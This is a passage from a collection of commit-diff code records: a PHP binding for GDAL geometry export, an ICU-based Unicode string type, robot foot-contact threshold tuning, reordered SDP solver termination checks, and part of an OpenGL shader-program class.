estrdup(kmlText);\n CPLFree(kmlText);\n RETURN_STRING(ret, 0);\n}\n\n\nPHP_METHOD(OGRGeometry, ExportToGML)\n{\n OGRGeometry *geometry;\n php_ogrgeometry_object *obj;\n char *gmlText;\n char *ret;\n char *gmlOptions = NULL;\n int gmlOptionsLen;\n char **papszOptions = NULL;\n\n if (ZEND_NUM_ARGS() != 0) {\n if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, (char*)\"s\", &gmlOptions, &gmlOptionsLen) == FAILURE) {\n php_gdal_ogr_throw(\"Illegal value for GML format options\");\n RETURN_EMPTY_STRING();\n }\n }\n\n obj = (php_ogrgeometry_object *) zend_object_store_get_object(getThis() TSRMLS_CC);\n geometry = obj->geometry;\n\n#if ! ((GDAL_VERSION_MAJOR <= 1) && (GDAL_VERSION_MINOR < 8))\n if (gmlOptionsLen != 0) {\n papszOptions = CSLAddString(papszOptions, gmlOptions);\n } \n\n gmlText = geometry->exportToGML(papszOptions);\n#else\n gmlText = geometry->exportToGML();\n#endif\n\n#if ! ((GDAL_VERSION_MAJOR <= 1) && (GDAL_VERSION_MINOR < 8))\n if (papszOptions) {\n CSLDestroy(papszOptions);\n }\n#endif\n\n if (gmlText == NULL) {\n php_gdal_ogr_throw(\"Failed to convert geometry to GML\");\n RETURN_EMPTY_STRING();\n }\n\n ret = estrdup(gmlText);\n CPLFree(gmlText);\n RETURN_STRING(ret, 0);\n}\n\n\nPHP_METHOD(OGRGeometry, GetGeometryName)\n{\n OGRGeometry *geometry;\n php_ogrgeometry_object *obj;\n char *ret;\n const char *geomName;\n\n if (ZEND_NUM_ARGS() != 0) {\n return;\n }\n\n obj = (php_ogrgeometry_object *) zend_object_store_get_object(getThis() TSRMLS_CC);\n geometry = obj->geometry;\n\n geomName = geometry->getGeometryName();\n ret = estrdup(geomName);\n RETURN_STRING(ret, 0);\n}\n\n\nPHP_METHOD(OGRGeometry, GetGeometryType)\n{\n OGRGeometry *geometry;\n php_ogrgeometry_object *obj;\n\n if (ZEND_NUM_ARGS() != 0) {\n return;\n }\n\n obj = (php_ogrgeometry_object *) zend_object_store_get_object(getThis() TSRMLS_CC);\n geometry = obj->geometry;\n RETURN_LONG(geometry->getGeometryType());\n}\n\n\nPHP_METHOD(OGRGeometry, IsEmpty)\n{\n OGRGeometry *geometry;\n php_ogrgeometry_object *obj;\n\n if (ZEND_NUM_ARGS() != 0) {\n return;\n }\n\n obj = (php_ogrgeometry_object *) zend_object_store_get_object(getThis() TSRMLS_CC);\n geometry = obj->geometry;\n RETURN_BOOL(geometry->IsEmpty());\n}\n\n\nPHP_METHOD(OGRGeometry, GetSpatialReference)\n{\n OGRGeometry *geometry;\n php_ogrgeometry_object *obj;\n OGRSpatialReference *spatialreference;\n php_ogrspatialreference_object *spatialreference_obj;\n\n if (ZEND_NUM_ARGS() != 0) {\n WRONG_PARAM_COUNT;\n }\n\n obj = (php_ogrgeometry_object *) zend_object_store_get_object(getThis() TSRMLS_CC);\n geometry = obj->geometry;\n\n spatialreference = geometry->getSpatialReference();\n if (!spatialreference) {\n RETURN_NULL();\n }\n if (object_init_ex(return_value, gdal_ogrspatialreference_ce) != SUCCESS) {\n RETURN_NULL();\n }\n spatialreference_obj = (php_ogrspatialreference_object*) zend_objects_get_address(return_value TSRMLS_CC);\n spatialreference_obj->spatialreference = spatialreference;\n}\n\n\n\nzend_function_entry ogrgeometry_methods[] = {\n PHP_ME(OGRGeometry, IsValid, NULL, ZEND_ACC_PUBLIC)\n PHP_ME(OGRGeometry, ExportToWkt, NULL, ZEND_ACC_PUBLIC)\n PHP_ME(OGRGeometry, ExportToWkb, NULL, ZEND_ACC_PUBLIC)\n PHP_ME(OGRGeometry, ExportToJson, NULL, ZEND_ACC_PUBLIC)\n PHP_ME(OGRGeometry, ExportToKML, NULL, ZEND_ACC_PUBLIC)\n PHP_ME(OGRGeometry, ExportToGML, NULL, ZEND_ACC_PUBLIC)\n PHP_ME(OGRGeometry, GetGeometryName, NULL, ZEND_ACC_PUBLIC)\n PHP_ME(OGRGeometry, GetGeometryType, NULL, ZEND_ACC_PUBLIC)\n PHP_ME(OGRGeometry, IsEmpty, NULL, ZEND_ACC_PUBLIC)\n PHP_ME(OGRGeometry, GetSpatialReference, NULL, ZEND_ACC_PUBLIC)\n {NULL, NULL, NULL}\n};\n\n\nvoid php_gdal_ogrgeometry_startup(INIT_FUNC_ARGS)\n{\n zend_class_entry ce;\n INIT_CLASS_ENTRY(ce, \"OGRGeometry\", ogrgeometry_methods);\n gdal_ogrgeometry_ce = zend_register_internal_class(&ce TSRMLS_CC);\n gdal_ogrgeometry_ce->create_object = ogrgeometry_create_handler;\n memcpy(&ogrgeometry_object_handlers,\n zend_get_std_object_handlers(), sizeof(zend_object_handlers));\n ogrgeometry_object_handlers.clone_obj = NULL;\n}\n\n\n\/* VIM settings *\/\n\/* ex: set tabstop=2 expandtab shiftwidth=2 smartindent *\/\n<|endoftext|>"} {"text":"<commit_before>\/**\n * Clever programming language\n * Copyright (c) Clever Team\n *\n * This file is distributed under the MIT license. See LICENSE for details.\n *\/\n#include \"types\/type.h\"\n#include \"modules\/std\/unicode\/string.h\"\n#include \"unicode\/unistr.h\"\n#include \"core\/value.h\"\n\nnamespace clever { namespace packages { namespace std {\n\n#define CLEVER_USTR_TYPE icu::UnicodeString*\n#define CLEVER_USTR_THIS() (CLEVER_USTR_TYPE) CLEVER_THIS()->getObj()\n\nvoid* UnicodeString::allocData(CLEVER_TYPE_CTOR_ARGS) const {\n\tif (args->size()) {\n\t\tValue* from = args->at(0);\n\t\tif (from) {\n\t\t\tconst CString* str = from->getStr();\n\t\t\tif (str) {\n\t\t\t\treturn new icu::UnicodeString(\n\t\t\t\t\tstr->c_str(), str->size(), US_INV\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t}\n\treturn NULL;\n}\n\nvoid UnicodeString::deallocData(void *data) {\n\tdelete (icu::UnicodeString*) data;\n}\n\nCLEVER_METHOD(UnicodeString::dbg) {\n\tif (CLEVER_THIS()) {\n\t\tCLEVER_USTR_TYPE intern = CLEVER_USTR_THIS();\t\n\t\tif (intern) {\n\t\t\tprintf(\"Fetched UnicodeString from Object\\n\");\n\t\t}\n\t}\n}\n\nCLEVER_TYPE_OPERATOR(UnicodeString::add) {}\nCLEVER_TYPE_OPERATOR(UnicodeString::sub) {}\nCLEVER_TYPE_OPERATOR(UnicodeString::mul) {}\nCLEVER_TYPE_OPERATOR(UnicodeString::div) {}\nCLEVER_TYPE_OPERATOR(UnicodeString::mod) {}\nCLEVER_TYPE_OPERATOR(UnicodeString::greater) {}\nCLEVER_TYPE_OPERATOR(UnicodeString::greater_equal) {}\nCLEVER_TYPE_OPERATOR(UnicodeString::less) {}\nCLEVER_TYPE_OPERATOR(UnicodeString::less_equal) {}\nCLEVER_TYPE_OPERATOR(UnicodeString::equal) {}\nCLEVER_TYPE_OPERATOR(UnicodeString::not_equal) {}\n\nCLEVER_TYPE_INIT(UnicodeString::init)\n{\t\n\taddMethod(CSTRING(\"dbg\"),\t\t(MethodPtr) &UnicodeString::dbg);\n}\n\n}}} \/\/ clever::packages::std\n<commit_msg>macros everywhere<commit_after>\/**\n * Clever programming language\n * Copyright (c) Clever Team\n *\n * This file is distributed under the MIT license. See LICENSE for details.\n *\/\n#include \"types\/type.h\"\n#include \"modules\/std\/unicode\/string.h\"\n#include \"unicode\/unistr.h\"\n#include \"core\/value.h\"\n\nnamespace clever { namespace packages { namespace std {\n\n#define CLEVER_USTR_TYPE icu::UnicodeString*\n#define CLEVER_USTR_CAST (CLEVER_USTR_TYPE)\n#define CLEVER_USTR_THIS() CLEVER_USTR_CAST CLEVER_THIS()->getObj()\n\nvoid* UnicodeString::allocData(CLEVER_TYPE_CTOR_ARGS) const {\n\tif (args->size()) {\n\t\tValue* from = args->at(0);\n\t\tif (from) {\n\t\t\tconst CString* str = from->getStr();\n\t\t\tif (str) {\n\t\t\t\treturn new icu::UnicodeString(\n\t\t\t\t\tstr->c_str(), str->size(), US_INV\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t}\n\treturn NULL;\n}\n\nvoid UnicodeString::deallocData(void *data) {\n\tdelete CLEVER_USTR_CAST data;\n}\n\nCLEVER_METHOD(UnicodeString::dbg) {\n\tif (CLEVER_THIS()) {\n\t\tCLEVER_USTR_TYPE intern = CLEVER_USTR_THIS();\t\n\t\tif (intern) {\n\t\t\tprintf(\"Fetched UnicodeString from Object\\n\");\n\t\t}\n\t}\n}\n\nCLEVER_TYPE_OPERATOR(UnicodeString::add) {}\nCLEVER_TYPE_OPERATOR(UnicodeString::sub) {}\nCLEVER_TYPE_OPERATOR(UnicodeString::mul) {}\nCLEVER_TYPE_OPERATOR(UnicodeString::div) {}\nCLEVER_TYPE_OPERATOR(UnicodeString::mod) {}\nCLEVER_TYPE_OPERATOR(UnicodeString::greater) {}\nCLEVER_TYPE_OPERATOR(UnicodeString::greater_equal) {}\nCLEVER_TYPE_OPERATOR(UnicodeString::less) {}\nCLEVER_TYPE_OPERATOR(UnicodeString::less_equal) {}\nCLEVER_TYPE_OPERATOR(UnicodeString::equal) {}\nCLEVER_TYPE_OPERATOR(UnicodeString::not_equal) {}\n\nCLEVER_TYPE_INIT(UnicodeString::init)\n{\t\n\taddMethod(CSTRING(\"dbg\"),\t\t(MethodPtr) &UnicodeString::dbg);\n}\n\n}}} \/\/ clever::packages::std\n<|endoftext|>"} {"text":"<commit_before>#include <foot_contact_alt\/FootContactAlt.h>\n\nusing namespace TwoLegs;\nusing namespace std;\n\nFootContactAlt::FootContactAlt(bool _log_data_files,const float atlasWeight){\n cout << \"A new FootContactAlt object was created\" << endl;\n\n \/\/ was 1400*0.65 for a long time, but this didn't work with toe lift off stepping\n schmitt_level_ = 0.65; \n transition_timeout_ = 4000;\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n standing_foot = F_UNKNOWN;\n\n lcmutime = 0;\n deltautime = 0;\n \n expectedweight = atlasWeight;\n \n foottransitionintermediateflag = true;\n \n l_foot_force_z = 0.f;\n r_foot_force_z = 0.f;\n \n transition_timespan = 0;\n \n \/\/ actual noticable toe push off occurs with about 50:50 ratio: 760:760 or even later\n \/\/ To reduce tic-tocing you can reduce the first number\n \/\/ originally 275\/375 was ok, but some upward drift (3\/4 of a block height) and backward drift (1\/3 of a block length)\n \/\/ later 475\/525 was better, upward drift (1\/2 of block) and backward drift (about the same)\n left_contact_state_strong_ = new SchmittTrigger(525.0, 575.0, 7000, 7000);\n right_contact_state_strong_ = new SchmittTrigger(525.0, 575.0, 7000, 7000); \n \n left_contact_state_strong_->forceHigh();\n right_contact_state_strong_->forceHigh();\n \n verbose_ =1; \/\/ 3 lots, 2 some, 1 v.important\n}\n\n\ncontact_status_id FootContactAlt::DetectFootTransition(int64_t utime, float leftz, float rightz) {\n bool lf_state_last = (bool) left_contact_state_strong_->getState();\n bool rf_state_last = (bool) right_contact_state_strong_->getState();\n \n left_contact_state_strong_->UpdateState(utime, leftz);\n right_contact_state_strong_->UpdateState(utime, rightz); \n \n bool lf_state = (bool) left_contact_state_strong_->getState();\n bool rf_state = (bool) right_contact_state_strong_->getState();\n \n std::stringstream ss;\n ss << (int)standing_foot << \" | \" << lf_state << \" \" << rf_state << \" \";\n \n if (!lf_state_last && lf_state){\n if (verbose_ >= 1) std::cout << ss.str() << \"Left has gone high\\n\"; \n standing_foot = F_LEFT;\n return F_LEFT_NEW;\n }else if(!rf_state_last && rf_state){\n if (verbose_ >= 1) std::cout << ss.str() << \"Right has gone high\\n\"; \n standing_foot = F_RIGHT;\n return F_RIGHT_NEW;\n }else if(lf_state_last && !lf_state){\n if (verbose_ >= 3) std::cout << ss.str() << \"Left has gone low\\n\"; \n if (standing_foot==F_LEFT){\n if (verbose_ >= 1) std::cout << ss.str() << \"Left has gone low when used as standing, force switch to right \"<< leftz << \" | \"<< rightz <<\"\\n\"; \n standing_foot = F_RIGHT;\n return F_RIGHT_NEW;\n }else{\n if (verbose_ >= 3) std::cout << ss.str() << \"Left has gone low when used not used as standing. Continue with right\\n\"; \n return F_RIGHT_FIXED;\n }\n }else if(rf_state_last && !rf_state){\n if (verbose_ >= 3) std::cout << ss.str() << \"Right has gone low\\n\"; \n if (standing_foot==F_RIGHT){\n if (verbose_ >= 1) std::cout << ss.str() << \"Right has gone low when used as standing, force switch to left \"<< leftz << \" | \"<< rightz <<\"\\n\"; \n standing_foot = F_LEFT;\n return F_LEFT_NEW;\n }else{\n if (verbose_ >= 3) std::cout << ss.str() << \"Right has gone low when used not used as standing. Continue with left\\n\"; \n return F_LEFT_FIXED;\n } \n }else{\n if (standing_foot==F_LEFT){\n if (verbose_ >= 3) std::cout << ss.str() << \"Left No change\\n\";\n return F_LEFT_FIXED;\n }else if (standing_foot==F_RIGHT){\n if (verbose_ >= 3) std::cout << ss.str() << \"Right No change\\n\";\n return F_RIGHT_FIXED;\n }\n }\n \n std::cout << ss.str() << \"Situation unknown. Error\\n\";\n exit(-1);\n return F_STATUS_UNKNOWN;\n}\n\nvoid FootContactAlt::setStandingFoot(footid_alt foot) {\n standing_foot = foot;\n}\n\nfootid_alt FootContactAlt::getStandingFoot() {\n return standing_foot;\n}\n\nfootid_alt FootContactAlt::getSecondaryFoot() {\n if (standing_foot == F_LEFT)\n return F_RIGHT;\n if (standing_foot == F_RIGHT)\n return F_LEFT;\n std::cout << \"FootContactAlt::secondary_foot(): THIS SHOULD NOT HAPPEN THE FOOT NUMBERS ARE INCONSISTENT\\n\";\n return F_UNKNOWN;\n}\n\nfloat FootContactAlt::getPrimaryFootZforce() {\n if (standing_foot == F_LEFT)\n return l_foot_force_z;\n return r_foot_force_z;\n}\n\nfloat FootContactAlt::getSecondaryFootZforce() {\n if (standing_foot == F_LEFT)\n return r_foot_force_z;\n return l_foot_force_z;\n}\n\n<commit_msg>fix for bdi toe off<commit_after>#include <foot_contact_alt\/FootContactAlt.h>\n\nusing namespace TwoLegs;\nusing namespace std;\n\nFootContactAlt::FootContactAlt(bool _log_data_files,const float atlasWeight){\n cout << \"A new FootContactAlt object was created\" << endl;\n\n \/\/ was 1400*0.65 for a long time, but this didn't work with toe lift off stepping\n schmitt_level_ = 0.65; \n transition_timeout_ = 4000;\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n standing_foot = F_UNKNOWN;\n\n lcmutime = 0;\n deltautime = 0;\n \n expectedweight = atlasWeight;\n \n foottransitionintermediateflag = true;\n \n l_foot_force_z = 0.f;\n r_foot_force_z = 0.f;\n \n transition_timespan = 0;\n \n \/\/ actual noticable toe push off occurs with about 50:50 ratio: 760:760 or even later\n \/\/ To reduce tic-tocing you can reduce the first number\n \/\/ originally 275\/375 was ok, but some upward drift (3\/4 of a block height) and backward drift (1\/3 of a block length)\n \/\/ later 475\/525 was better, upward drift (1\/2 of block) and backward drift (about the same)\n \/\/ From April 2014 to Sept 2014 I used 525.0, 575.0, 7000, 7000\n \/\/left_contact_state_strong_ = new SchmittTrigger(525.0, 575.0, 7000, 7000);\n \/\/right_contact_state_strong_ = new SchmittTrigger(525.0, 575.0, 7000, 7000); \n\n left_contact_state_strong_ = new SchmittTrigger(475.0, 525.0, 7000, 7000);\n right_contact_state_strong_ = new SchmittTrigger(475.0, 525.0, 7000, 7000); \n\n left_contact_state_strong_->forceHigh();\n right_contact_state_strong_->forceHigh();\n \n verbose_ =1; \/\/ 3 lots, 2 some, 1 v.important\n}\n\n\ncontact_status_id FootContactAlt::DetectFootTransition(int64_t utime, float leftz, float rightz) {\n bool lf_state_last = (bool) left_contact_state_strong_->getState();\n bool rf_state_last = (bool) right_contact_state_strong_->getState();\n \n left_contact_state_strong_->UpdateState(utime, leftz);\n right_contact_state_strong_->UpdateState(utime, rightz); \n \n bool lf_state = (bool) left_contact_state_strong_->getState();\n bool rf_state = (bool) right_contact_state_strong_->getState();\n \n std::stringstream ss;\n ss << (int)standing_foot << \" | \" << lf_state << \" \" << rf_state << \" \";\n \n if (!lf_state_last && lf_state){\n if (verbose_ >= 1) std::cout << ss.str() << \"Left has gone high\\n\"; \n standing_foot = F_LEFT;\n return F_LEFT_NEW;\n }else if(!rf_state_last && rf_state){\n if (verbose_ >= 1) std::cout << ss.str() << \"Right has gone high\\n\"; \n standing_foot = F_RIGHT;\n return F_RIGHT_NEW;\n }else if(lf_state_last && !lf_state){\n if (verbose_ >= 3) std::cout << ss.str() << \"Left has gone low\\n\"; \n if (standing_foot==F_LEFT){\n if (verbose_ >= 1) std::cout << ss.str() << \"Left has gone low when used as standing, force switch to right \"<< leftz << \" | \"<< rightz <<\"\\n\"; \n standing_foot = F_RIGHT;\n return F_RIGHT_NEW;\n }else{\n if (verbose_ >= 3) std::cout << ss.str() << \"Left has gone low when used not used as standing. Continue with right\\n\"; \n return F_RIGHT_FIXED;\n }\n }else if(rf_state_last && !rf_state){\n if (verbose_ >= 3) std::cout << ss.str() << \"Right has gone low\\n\"; \n if (standing_foot==F_RIGHT){\n if (verbose_ >= 1) std::cout << ss.str() << \"Right has gone low when used as standing, force switch to left \"<< leftz << \" | \"<< rightz <<\"\\n\"; \n standing_foot = F_LEFT;\n return F_LEFT_NEW;\n }else{\n if (verbose_ >= 3) std::cout << ss.str() << \"Right has gone low when used not used as standing. Continue with left\\n\"; \n return F_LEFT_FIXED;\n } \n }else{\n if (standing_foot==F_LEFT){\n if (verbose_ >= 3) std::cout << ss.str() << \"Left No change\\n\";\n return F_LEFT_FIXED;\n }else if (standing_foot==F_RIGHT){\n if (verbose_ >= 3) std::cout << ss.str() << \"Right No change\\n\";\n return F_RIGHT_FIXED;\n }\n }\n \n std::cout << ss.str() << \"Situation unknown. Error\\n\";\n exit(-1);\n return F_STATUS_UNKNOWN;\n}\n\nvoid FootContactAlt::setStandingFoot(footid_alt foot) {\n standing_foot = foot;\n}\n\nfootid_alt FootContactAlt::getStandingFoot() {\n return standing_foot;\n}\n\nfootid_alt FootContactAlt::getSecondaryFoot() {\n if (standing_foot == F_LEFT)\n return F_RIGHT;\n if (standing_foot == F_RIGHT)\n return F_LEFT;\n std::cout << \"FootContactAlt::secondary_foot(): THIS SHOULD NOT HAPPEN THE FOOT NUMBERS ARE INCONSISTENT\\n\";\n return F_UNKNOWN;\n}\n\nfloat FootContactAlt::getPrimaryFootZforce() {\n if (standing_foot == F_LEFT)\n return l_foot_force_z;\n return r_foot_force_z;\n}\n\nfloat FootContactAlt::getSecondaryFootZforce() {\n if (standing_foot == F_LEFT)\n return r_foot_force_z;\n return l_foot_force_z;\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"..\/..\/SDP_Solver_Terminate_Reason.hxx\"\n#include \"..\/..\/..\/SDP_Solver_Parameters.hxx\"\n\nvoid compute_feasible_and_termination(\n const SDP_Solver_Parameters ¶meters, const El::BigFloat &primal_error,\n const El::BigFloat &dual_error, const El::BigFloat &duality_gap,\n const El::BigFloat &primal_step_length, const El::BigFloat &dual_step_length,\n const int &iteration,\n const std::chrono::time_point<std::chrono::high_resolution_clock>\n &solver_start_time,\n bool &is_primal_and_dual_feasible,\n SDP_Solver_Terminate_Reason &terminate_reason, bool &terminate_now)\n{\n const bool is_dual_feasible(dual_error < parameters.dual_error_threshold),\n is_primal_feasible(primal_error < parameters.primal_error_threshold);\n is_primal_and_dual_feasible = (is_primal_feasible && is_dual_feasible);\n\n const bool is_optimal(duality_gap < parameters.duality_gap_threshold);\n\n terminate_now = true;\n if(is_primal_feasible && parameters.find_primal_feasible)\n {\n terminate_reason = SDP_Solver_Terminate_Reason::PrimalFeasible;\n }\n else if(is_dual_feasible && parameters.find_dual_feasible)\n {\n terminate_reason = SDP_Solver_Terminate_Reason::DualFeasible;\n }\n else if(primal_step_length == El::BigFloat(1)\n && parameters.detect_primal_feasible_jump)\n {\n terminate_reason\n = SDP_Solver_Terminate_Reason::PrimalFeasibleJumpDetected;\n }\n else if(dual_step_length == El::BigFloat(1)\n && parameters.detect_dual_feasible_jump)\n {\n terminate_reason = SDP_Solver_Terminate_Reason::DualFeasibleJumpDetected;\n }\n else if(is_primal_and_dual_feasible && is_optimal)\n {\n terminate_reason = SDP_Solver_Terminate_Reason::PrimalDualOptimal;\n }\n else if(iteration > parameters.max_iterations)\n {\n terminate_reason = SDP_Solver_Terminate_Reason::MaxIterationsExceeded;\n }\n else if(std::chrono::duration_cast<std::chrono::seconds>(\n std::chrono::high_resolution_clock::now() - solver_start_time)\n .count()\n >= parameters.max_runtime)\n {\n terminate_reason = SDP_Solver_Terminate_Reason::MaxRuntimeExceeded;\n }\n else\n {\n terminate_now = false;\n }\n El::byte terminate_byte(terminate_now);\n \/\/ Time varies between cores, so follow the decision of the root.\n El::mpi::Broadcast(terminate_byte, 0, El::mpi::COMM_WORLD);\n terminate_now = static_cast<bool>(terminate_byte);\n}\n<commit_msg>Rearrange some termination conditions<commit_after>#include \"..\/..\/SDP_Solver_Terminate_Reason.hxx\"\n#include \"..\/..\/..\/SDP_Solver_Parameters.hxx\"\n\nvoid compute_feasible_and_termination(\n const SDP_Solver_Parameters ¶meters, const El::BigFloat &primal_error,\n const El::BigFloat &dual_error, const El::BigFloat &duality_gap,\n const El::BigFloat &primal_step_length, const El::BigFloat &dual_step_length,\n const int &iteration,\n const std::chrono::time_point<std::chrono::high_resolution_clock>\n &solver_start_time,\n bool &is_primal_and_dual_feasible,\n SDP_Solver_Terminate_Reason &terminate_reason, bool &terminate_now)\n{\n const bool is_dual_feasible(dual_error < parameters.dual_error_threshold),\n is_primal_feasible(primal_error < parameters.primal_error_threshold);\n is_primal_and_dual_feasible = (is_primal_feasible && is_dual_feasible);\n\n const bool is_optimal(duality_gap < parameters.duality_gap_threshold);\n\n terminate_now = true;\n if(is_primal_and_dual_feasible && is_optimal)\n {\n terminate_reason = SDP_Solver_Terminate_Reason::PrimalDualOptimal;\n }\n else if(is_dual_feasible && parameters.find_dual_feasible)\n {\n terminate_reason = SDP_Solver_Terminate_Reason::DualFeasible;\n }\n else if(is_primal_feasible && parameters.find_primal_feasible)\n {\n terminate_reason = SDP_Solver_Terminate_Reason::PrimalFeasible;\n }\n else if(dual_step_length == El::BigFloat(1)\n && parameters.detect_dual_feasible_jump)\n {\n terminate_reason = SDP_Solver_Terminate_Reason::DualFeasibleJumpDetected;\n }\n else if(primal_step_length == El::BigFloat(1)\n && parameters.detect_primal_feasible_jump)\n {\n terminate_reason\n = SDP_Solver_Terminate_Reason::PrimalFeasibleJumpDetected;\n }\n else if(iteration > parameters.max_iterations)\n {\n terminate_reason = SDP_Solver_Terminate_Reason::MaxIterationsExceeded;\n }\n else if(std::chrono::duration_cast<std::chrono::seconds>(\n std::chrono::high_resolution_clock::now() - solver_start_time)\n .count()\n >= parameters.max_runtime)\n {\n terminate_reason = SDP_Solver_Terminate_Reason::MaxRuntimeExceeded;\n }\n else\n {\n terminate_now = false;\n }\n El::byte terminate_byte(terminate_now);\n \/\/ Time varies between cores, so follow the decision of the root.\n El::mpi::Broadcast(terminate_byte, 0, El::mpi::COMM_WORLD);\n terminate_now = static_cast<bool>(terminate_byte);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*******************************\nCopyright (C) 2013-2015 gregoire ANGERAND\n\nThis program is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n**********************************\/\n\n#include \"ShaderInstance.h\"\n#include \"GLContext.h\"\n\n\nnamespace n {\nnamespace graphics {\n\n\nShaderInstance *ShaderInstance::current = 0;\n\n\nShaderInstance::ShaderInstance(Shader<FragmentShader> *frag, Shader<VertexShader> *vert, Shader<GeometryShader> *geom) : handle(0), samplerCount(0), bases{frag, vert, geom} {\n\tcompile();\n}\n\nShaderInstance::ShaderInstance(Shader<FragmentShader> *frag, ShaderProgram::StandardVertexShader vert, Shader<GeometryShader> *geom) : ShaderInstance(frag, ShaderProgram::getStandardVertexShader(vert), geom) {\n\n}\n\nShaderInstance::~ShaderInstance() {\n\tif(handle) {\n\t\tgl::GLuint h = handle;\n\t\tGLContext::getContext()->addGLTask([=]() { gl::glDeleteProgram(h); });\n\t}\n}\n\nconst ShaderInstance *ShaderInstance::getCurrent() {\n\treturn current;\n}\n\nvoid ShaderInstance::bind() {\n\tGLContext::getContext()->program = 0;\n\tif(current != this) {\n\t\trebind();\n\t}\n}\n\nvoid ShaderInstance::rebind() {\n\tGLContext::getContext()->program = 0;\n\tgl::glUseProgram(handle);\n\tfor(uint i = 0; i != samplerCount; i++) {\n\t\tbindings[i].bind(i);\n\t}\n\tcurrent = this;\n\t\/\/bindStandards();\n}\n\nvoid ShaderInstance::unbind() {\n\tcurrent = 0;\n\tinternal::rebindProgram();\n}\n\nvoid ShaderInstance::compile() {\n\thandle = gl::glCreateProgram();\n\tbool val = true;\n\tfor(uint i = 0; i != 3; i++) {\n\t\tif(bases[i]) {\n\t\t\tgl::glAttachShader(handle, bases[i]->handle);\n\t\t\tval &= bases[i]->isValid();\n\t\t}\n\t}\n\tgl::glLinkProgram(handle);\n\tint res = 0;\n\tgl::glGetProgramiv(handle, GL_LINK_STATUS, &res);\n\tif(!res || !val) {\n\t\tint size = 0;\n\t\tgl::glGetProgramiv(handle, GL_INFO_LOG_LENGTH, &size);\n\t\tchar *msg = new char[size + 1];\n\t\tgl::glGetProgramInfoLog(handle, size, &res, msg);\n\t\tgl::glDeleteProgram(handle);\n\t\thandle = 0;\n\t\tmsg[size] = '\\0';\n\t\tcore::String logs = msg;\n\t\tdelete[] msg;\n\t\tthrow ShaderLinkingException(logs);\n\t} else {\n\t\tgetUniforms();\n\t}\n}\n\nvoid ShaderInstance::getUniforms() {\n\tconst uint max = 512;\n\tchar name[max];\n\tint uniforms = 0;\n\tgl::glGetProgramiv(handle, GL_ACTIVE_UNIFORMS, &uniforms);\n\tfor(uint i = 0; i != SVMax; i++) {\n\t\tstandards[i] = UniformAddr(GL_INVALID_INDEX);\n\t}\n\tfor(uint i = 0; i != (uint)uniforms; i++) {\n\t\tgl::GLsizei size = 0;\n\t\tgl::GLenum type = GL_NONE;\n\t\tgl::glGetActiveUniform(handle, i, max - 1, 0, &size, &type, name);\n\t\tcore::String uniform = name;\n\t\tif(uniform.endsWith(\"[0]\")) {\n\t\t\tuniform = uniform.subString(0, uniform.size() - 3);\n\t\t}\n\t\tUniformInfo info({gl::glGetUniformLocation(handle, name), (uint)size});\n\t\tif(isSampler(type)) {\n\t\t\tuint slot = samplerCount++;\n\t\t\tsetValue(info.addr, int(slot));\n\t\t\tinfo.addr = slot;\n\t\t}\n\t\tuniformsInfo[uniform] = info;\n\t\tint std = computeStandardIndex(uniform);\n\t\tif(std != UniformAddr(GL_INVALID_INDEX)) {\n\t\t\tstandards[std] = info.addr;\n\t\t}\n\t}\n\tbindings = new internal::TextureBinding[samplerCount];\n}\n\nShaderInstance::UniformAddr ShaderInstance::computeStandardIndex(const core::String &name) {\n\tfor(uint i = 0; i != SVMax; i++) {\n\t\tif(name == ShaderValueName[i]) {\n\t\t\treturn i;\n\t\t}\n\t}\n\treturn UniformAddr(GL_INVALID_INDEX);\n}\n\nvoid ShaderInstance::bindStandards() const {\n\tsetValue(\"n_ProjectionMatrix\", GLContext::getContext()->getProjectionMatrix());\n\tsetValue(\"n_ViewMatrix\", GLContext::getContext()->getViewMatrix());\n\tsetValue(\"n_ViewportSize\", math::Vec2(GLContext::getContext()->getViewport()));\n\tsetValue(\"n_ModelMatrix\", GLContext::getContext()->getModelMatrix());\n\tsetValue(\"n_ViewProjectionMatrix\", GLContext::getContext()->getProjectionMatrix() * GLContext::getContext()->getViewMatrix());\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, int a) const {\n\tgl::glProgramUniform1i(handle, addr, a);\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, uint a) const {\n\tgl::glProgramUniform1ui(handle, addr, a);\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, float f) const {\n\tgl::glProgramUniform1f(handle, addr, f);\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, double f) const {\n\tgl::glProgramUniform1f(handle, addr, f);\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, const math::Vec2i &v) const {\n\tgl::glProgramUniform2iv(handle, addr, 1, v.begin());\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, const math::Vec3i &v) const {\n\tgl::glProgramUniform3iv(handle, addr, 1, v.begin());\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, const math::Vec2 &v) const {\n\tgl::glProgramUniform2fv(handle, addr, 1, v.begin());\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, const math::Vec3 &v) const {\n\tgl::glProgramUniform3fv(handle, addr, 1, v.begin());\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, const math::Vec4 &v) const {\n\tgl::glProgramUniform4fv(handle, addr, 1, v.begin());\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, const math::Matrix2<float> &m) const {\n\tgl::glProgramUniformMatrix2fv(handle, addr, 1, GL_TRUE, m.begin());\n}\n\nvoid ShaderInstance::setValue(UniformAddr addr, const math::Matrix3<float> &m) const {\n\tgl::glProgramUniformMatrix3fv(handle, addr, 1, GL_TRUE, 